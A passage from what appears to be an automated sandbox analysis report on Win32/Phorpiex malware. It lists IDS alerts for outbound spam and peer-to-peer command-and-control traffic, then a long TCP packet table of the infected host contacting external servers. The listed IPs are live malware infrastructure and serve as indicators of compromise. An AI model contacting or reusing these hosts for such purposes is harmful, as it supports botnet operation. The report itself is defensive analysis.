192.168.2.8142.250.150.2749805252044126 08/24/23-19:03:21.879724	TCP	2044126	ET TROJAN Win32/Phorpiex Template 8 Active - Outbound Malicious Email Spam	49805	25	192.168.2.8	142.250.150.27
192.168.2.8195.123.234.8662415405002044077 08/24/23-19:04:29.796969	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	195.123.234.86
192.168.2.877.221.29.23562415405002044077 08/24/23-19:03:18.800397	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	77.221.29.235
192.168.2.82.189.227.5262415405002044077 08/24/23-19:04:45.105655	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	2.189.227.52
192.168.2.8185.211.130.12262415405002044077 08/24/23-19:03:49.484723	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	185.211.130.122
192.168.2.889.165.113.21062415405002044077 08/24/23-19:04:09.532191	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	89.165.113.210
192.168.2.895.107.115.20062415405002044077 08/24/23-19:03:39.414448	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	95.107.115.200

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 24, 2023 19:03:08.158826113 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.226527929 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.226706028 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.227299929 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.296653986 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.296722889 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.296751022 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.296777964 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.296813011 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.296864986 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.296875000 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.296904087 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.296931028 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.297024012 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.297024012 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.297024012 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.297045946 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.297095060 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.297125101 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.297154903 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.297174931 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.297183990 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.297199011 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.297228098 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.313544989 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.313544989 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.379357100 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.379396915 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.379424095 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.379451036 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.379523039 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.379539013 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.379545927 CEST	80	49766	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:08.379656076 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.380677938 CEST	49766	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:08.780297995 CEST	49767	40500	192.168.2.8	100.91.108.68
Aug 24, 2023 19:03:09.324024916 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:09.396455050 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.396565914 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:09.398128986 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:09.482530117 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.482570887 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.482592106 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.482610941 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.482628107 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.482645988 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.482651949 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:09.482666016 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.482686043 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.482711077 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.482733011 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:09.482739925 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.482806921 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.482809067 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:09.482809067 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:09.483088970 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:09.575061083 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.575100899 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.575129032 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.575156927 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.575184107 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.575182915 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:09.575182915 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:09.575206995 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:09.575242996 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:09.575277090 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:09.878528118 CEST	49767	40500	192.168.2.8	100.91.108.68
Aug 24, 2023 19:03:11.879525900 CEST	49767	40500	192.168.2.8	100.91.108.68
Aug 24, 2023 19:03:14.906311035 CEST	49773	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:15.041336060 CEST	25	49773	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:15.041505098 CEST	49773	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:15.041835070 CEST	49773	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:15.177820921 CEST	25	49773	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:15.227826118 CEST	25	49773	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:15.227879047 CEST	25	49773	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:15.228003025 CEST	49773	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:15.228044033 CEST	49773	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:15.347529888 CEST	49774	80	192.168.2.8	104.18.115.97
Aug 24, 2023 19:03:15.364257097 CEST	80	49774	104.18.115.97	192.168.2.8
Aug 24, 2023 19:03:15.364420891 CEST	49774	80	192.168.2.8	104.18.115.97
Aug 24, 2023 19:03:15.364825964 CEST	49774	80	192.168.2.8	104.18.115.97
Aug 24, 2023 19:03:15.381397009 CEST	80	49774	104.18.115.97	192.168.2.8
Aug 24, 2023 19:03:15.392990112 CEST	80	49774	104.18.115.97	192.168.2.8
Aug 24, 2023 19:03:15.393192053 CEST	49774	80	192.168.2.8	104.18.115.97
Aug 24, 2023 19:03:15.411691904 CEST	49775	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.473515034 CEST	80	49775	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.473660946 CEST	49775	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.474021912 CEST	49775	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.535339117 CEST	80	49775	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.535635948 CEST	80	49775	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.535758972 CEST	49775	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.771734953 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.841388941 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.841490030 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.841515064 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.841536999 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.841557026 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.841558933 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.841577053 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.841593981 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.841598034 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.841619015 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.841638088 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.841656923 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.841659069 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.841679096 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.841717958 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.841762066 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.842721939 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.842766047 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.878576040 CEST	49767	40500	192.168.2.8	100.91.108.68
Aug 24, 2023 19:03:15.908866882 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.908912897 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.908942938 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.908958912 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.908972979 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.909003973 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.909008980 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.909009933 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.909024954 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.909032106 CEST	80	49768	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:15.909060001 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:15.909085035 CEST	49768	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.554601908 CEST	49775	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.555336952 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.618159056 CEST	80	49775	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.618288994 CEST	49775	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.623341084 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.623485088 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.623903990 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.690578938 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.691086054 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.691196918 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.691196918 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.691241026 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.691292048 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.691317081 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.691333055 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.691385031 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.691415071 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.691461086 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.691461086 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.691473007 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.691504955 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.691515923 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.691531897 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.691559076 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.691613913 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.761559963 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.761686087 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.761768103 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.761843920 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.762010098 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.762072086 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.762403011 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.762453079 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.762625933 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.762682915 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.762763977 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.762857914 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763017893 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763062954 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763201952 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763326883 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763356924 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763364077 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763379097 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763406992 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763421059 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763468981 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763472080 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763529062 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763551950 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763566971 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763598919 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763613939 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763613939 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763631105 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763631105 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763653040 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763668060 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763684034 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763689041 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763721943 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763725996 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763755083 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.763763905 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.763787031 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834072113 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834106922 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834130049 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834153891 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834176064 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834192038 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834199905 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834222078 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834244967 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834265947 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834287882 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834302902 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834304094 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834304094 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834304094 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834311008 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834333897 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834355116 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834356070 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834378004 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834387064 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834387064 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834387064 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834399939 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834403992 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834413052 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834429026 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834434032 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834450006 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834454060 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834471941 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834472895 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834496975 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834501028 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834517956 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834533930 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834554911 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834561110 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834578037 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834599972 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834613085 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834615946 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834619045 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834639072 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834661007 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834681988 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834703922 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834724903 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834739923 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834748030 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834769964 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834774017 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834800005 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834805012 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834816933 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834836960 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834862947 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834883928 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834906101 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834918976 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834927082 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834948063 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834949017 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.834970951 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.834973097 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.835033894 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.835033894 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.848941088 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902076960 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902141094 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902185917 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902235031 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902244091 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902276039 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902281046 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902302027 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902328014 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902328014 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902373075 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902374983 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902415037 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902421951 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902467012 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902467012 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902512074 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902513981 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902559996 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902560949 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902606010 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902611017 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902647972 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902673960 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902715921 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902720928 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902766943 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902767897 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902812004 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902812004 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902856112 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902858019 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902896881 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902914047 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.902961969 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.902983904 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903028965 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903033018 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903079033 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903090000 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903121948 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903125048 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903172016 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903172970 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903214931 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903219938 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903261900 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903264999 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903304100 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903310061 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903362036 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903377056 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903423071 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903428078 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903466940 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:16.903515100 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903562069 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903609991 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903655052 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:16.903672934 CEST	49776	80	192.168.2.8	185.215.113.66
